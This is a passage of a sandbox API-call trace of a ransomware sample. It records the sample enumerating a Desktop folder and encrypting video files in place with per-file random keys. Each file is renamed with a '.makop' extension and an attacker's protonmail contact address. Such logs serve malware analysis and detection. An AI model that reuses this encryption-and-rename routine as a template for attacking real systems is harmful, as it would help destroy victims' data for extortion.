GetProcessHeap () returned 0x48a0000 [0057.636] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x100000) returned 0x6370020 [0057.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402360, lpParameter=0x48c4f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0 [0057.639] WaitForMultipleObjects (nCount=0x1, lpHandles=0x48be720*=0xc0, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xae4 Thread: id = 5 os_tid = 0xbe0 [0054.431] wsprintfW (in: param_1=0x657e770, param_2="%s\\*.*" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*") returned 41 [0054.431] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x63d65a00, ftLastAccessTime.dwHighDateTime=0x1d5f166, ftLastWriteTime.dwLowDateTime=0x63d65a00, ftLastWriteTime.dwHighDateTime=0x1d5f166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c06c8 [0054.433] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x63d65a00, ftLastAccessTime.dwHighDateTime=0x1d5f166, ftLastWriteTime.dwLowDateTime=0x63d65a00, ftLastWriteTime.dwHighDateTime=0x1d5f166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.433] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852b2be0, ftCreationTime.dwHighDateTime=0x1d5d9d8, ftLastAccessTime.dwLowDateTime=0xac11c740, ftLastAccessTime.dwHighDateTime=0x1d5d8ee, ftLastWriteTime.dwLowDateTime=0xac11c740, ftLastWriteTime.dwHighDateTime=0x1d5d8ee, nFileSizeHigh=0x0, nFileSizeLow=0x396b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0bx3lriX2fC_5 2.flv", cAlternateFileName="0BX3LR~1.FLV")) returned 1 [0054.433] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0bx3lriX2fC_5 2.flv") returned 57 [0054.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0bx3lriX2fC_5 2.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0bx3lrix2fc_5 2.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0054.434] GetProcessHeap () returned 0x48a0000 [0054.434] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0054.434] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0054.435] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0054.436] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x5, lpOverlapped=0x0) returned 1 [0054.440] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c3630) returned 1 [0054.440] CryptSetKeyParam (hKey=0x48c3630, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.440] GetProcessHeap () returned 0x48a0000 [0054.440] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0054.440] CryptEncrypt (in: hKey=0x48c3630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50) returned 1 [0054.445] CryptDestroyKey (hKey=0x48c3630) returned 1 [0054.445] WriteFile (in: hFile=0x120, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657e4a8*=0x50, lpOverlapped=0x0) returned 1 [0054.446] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.446] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0054.446] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0054.446] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0054.446] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0054.446] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c3630) returned 1 [0054.446] CryptSetKeyParam (hKey=0x48c3630, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.446] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.447] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x396b, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x396b, lpOverlapped=0x0) returned 1 [0054.447] CryptEncrypt (in: hKey=0x48c3630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x3970, dwBufLen=0x3970 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x3970) returned 1 [0054.448] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.448] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x3970, lpOverlapped=0x0) returned 1 [0054.448] CryptDestroyKey (hKey=0x48c3630) returned 1 [0054.448] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x3a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.448] SetEndOfFile (hFile=0x120) returned 1 [0054.463] GetProcessHeap () returned 0x48a0000 [0054.463] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0054.463] GetProcessHeap () returned 0x48a0000 [0054.463] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0054.463] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0bx3lriX2fC_5 2.flv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 104 [0054.464] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0bx3lriX2fC_5 2.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0bx3lrix2fc_5 2.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0bx3lriX2fC_5 2.flv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0bx3lrix2fc_5 2.flv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0054.560] CloseHandle (hObject=0x120) returned 1 [0054.561] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3f03890, ftCreationTime.dwHighDateTime=0x1d5e144, ftLastAccessTime.dwLowDateTime=0x8b42dba0, ftLastAccessTime.dwHighDateTime=0x1d5e5df, ftLastWriteTime.dwLowDateTime=0x8b42dba0, ftLastWriteTime.dwHighDateTime=0x1d5e5df, nFileSizeHigh=0x0, nFileSizeLow=0xcde1, dwReserved0=0x0, dwReserved1=0x0, cFileName="2QqEzLzXlC4xPHd.avi", cAlternateFileName="2QQEZL~1.AVI")) returned 1 [0054.561] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2QqEzLzXlC4xPHd.avi") returned 57 [0054.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2QqEzLzXlC4xPHd.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2qqezlzxlc4xphd.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0054.562] GetProcessHeap () returned 0x48a0000 [0054.562] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0054.562] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0054.562] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0054.562] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0xf, lpOverlapped=0x0) returned 1 [0054.568] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c3630) returned 1 [0054.569] CryptSetKeyParam (hKey=0x48c3630, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.569] GetProcessHeap () returned 0x48a0000 [0054.569] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0054.569] CryptEncrypt (in: hKey=0x48c3630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50) returned 1 [0054.569] CryptDestroyKey (hKey=0x48c3630) returned 1 [0054.569] WriteFile (in: hFile=0x120, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657e4a8*=0x50, lpOverlapped=0x0) returned 1 [0054.569] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.569] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0054.569] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0054.570] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0054.570] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0054.570] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c3630) returned 1 [0054.570] CryptSetKeyParam (hKey=0x48c3630, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.570] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.570] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcde1, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0xcde1, lpOverlapped=0x0) returned 1 [0054.573] CryptEncrypt (in: hKey=0x48c3630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0xcdf0, dwBufLen=0xcdf0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0xcdf0) returned 1 [0054.573] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.573] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcdf0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0xcdf0, lpOverlapped=0x0) returned 1 [0054.574] CryptDestroyKey (hKey=0x48c3630) returned 1 [0054.574] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xced4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.574] SetEndOfFile (hFile=0x120) returned 1 [0054.582] GetProcessHeap () returned 0x48a0000 [0054.582] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0054.582] GetProcessHeap () returned 0x48a0000 [0054.582] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0054.582] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2QqEzLzXlC4xPHd.avi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 104 [0054.582] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2QqEzLzXlC4xPHd.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2qqezlzxlc4xphd.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2QqEzLzXlC4xPHd.avi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2qqezlzxlc4xphd.avi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0054.587] CloseHandle (hObject=0x120) returned 1 [0054.587] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c45310, ftCreationTime.dwHighDateTime=0x1d5d96d, ftLastAccessTime.dwLowDateTime=0xfa938730, ftLastAccessTime.dwHighDateTime=0x1d5dd8c, ftLastWriteTime.dwLowDateTime=0xfa938730, ftLastWriteTime.dwHighDateTime=0x1d5dd8c, nFileSizeHigh=0x0, nFileSizeLow=0xdbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="5J2VCH9l L9sBc3-.mkv", cAlternateFileName="5J2VCH~1.MKV")) returned 1 [0054.588] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5J2VCH9l L9sBc3-.mkv") returned 58 [0054.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5J2VCH9l L9sBc3-.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5j2vch9l l9sbc3-.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0054.588] GetProcessHeap () returned 0x48a0000 [0054.588] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0054.588] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0054.588] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0054.588] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.591] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c3630) returned 1 [0054.591] CryptSetKeyParam (hKey=0x48c3630, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.591] GetProcessHeap () returned 0x48a0000 [0054.591] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0054.591] CryptEncrypt (in: hKey=0x48c3630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50) returned 1 [0054.591] CryptDestroyKey (hKey=0x48c3630) returned 1 [0054.591] WriteFile (in: hFile=0x120, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657e4a8*=0x50, lpOverlapped=0x0) returned 1 [0054.591] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.662] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0054.662] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0054.662] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0054.662] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0054.663] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c3630) returned 1 [0054.663] CryptSetKeyParam (hKey=0x48c3630, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.663] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.663] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdbc, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0xdbc, lpOverlapped=0x0) returned 1 [0054.663] CryptEncrypt (in: hKey=0x48c3630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0xdc0, dwBufLen=0xdc0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0xdc0) returned 1 [0054.663] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.663] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0xdc0, lpOverlapped=0x0) returned 1 [0054.664] CryptDestroyKey (hKey=0x48c3630) returned 1 [0054.664] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.664] SetEndOfFile (hFile=0x120) returned 1 [0054.673] GetProcessHeap () returned 0x48a0000 [0054.673] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0054.673] GetProcessHeap () returned 0x48a0000 [0054.673] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0054.673] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5J2VCH9l L9sBc3-.mkv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 105 [0054.674] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5J2VCH9l L9sBc3-.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5j2vch9l l9sbc3-.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5J2VCH9l L9sBc3-.mkv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5j2vch9l l9sbc3-.mkv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0054.680] CloseHandle (hObject=0x120) returned 1 [0054.680] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0cc580, ftCreationTime.dwHighDateTime=0x1d5e432, ftLastAccessTime.dwLowDateTime=0xf5baa1a0, ftLastAccessTime.dwHighDateTime=0x1d5df7e, ftLastWriteTime.dwLowDateTime=0xf5baa1a0, ftLastWriteTime.dwHighDateTime=0x1d5df7e, nFileSizeHigh=0x0, nFileSizeLow=0xdd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="5VoqguxMTR7hO9.flv", cAlternateFileName="5VOQGU~1.FLV")) returned 1 [0054.680] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5VoqguxMTR7hO9.flv") returned 56 [0054.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5VoqguxMTR7hO9.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5voqguxmtr7ho9.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0054.681] GetProcessHeap () returned 0x48a0000 [0054.681] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0054.681] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0054.681] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0054.681] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0xe, lpOverlapped=0x0) returned 1 [0054.684] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c3630) returned 1 [0054.684] CryptSetKeyParam (hKey=0x48c3630, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.684] GetProcessHeap () returned 0x48a0000 [0054.684] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0054.684] CryptEncrypt (in: hKey=0x48c3630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0054.684] CryptDestroyKey (hKey=0x48c3630) returned 1 [0054.684] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0054.684] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.685] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0054.685] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0054.685] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, 